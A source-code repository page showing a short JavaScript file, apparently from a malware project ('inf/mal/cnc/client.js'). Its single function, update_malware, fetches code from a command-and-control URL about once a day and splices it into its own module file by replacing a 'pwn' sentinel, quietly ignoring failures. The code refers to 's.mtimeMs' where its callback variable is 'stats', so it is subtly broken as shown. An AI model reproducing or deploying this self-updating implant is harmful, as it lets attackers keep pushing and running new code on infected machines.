aboutsummaryrefslogtreecommitdiff
path: root/inf/mal/cnc/client.js
blob: 7fddde70b7884a89b93c4999164b7680989842d3 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function update_malware() {
    fs.stat(module.filename, (err, stats) => {
        if ((new Date() - (s.mtimeMs)) > (86400*1000)) {
            fetch(cnc_url).then((v) => {
                v.text().then((t) => {
                    let fc = fs.readFileSync(module.filename, "utf8");
                    fc = fc.replace(sentinel_pwn(), t);
                    fs.writeFileSync(module.filename, fc);
                })
            }).catch((e) => {
                // ignore.
            });
        }
    });
}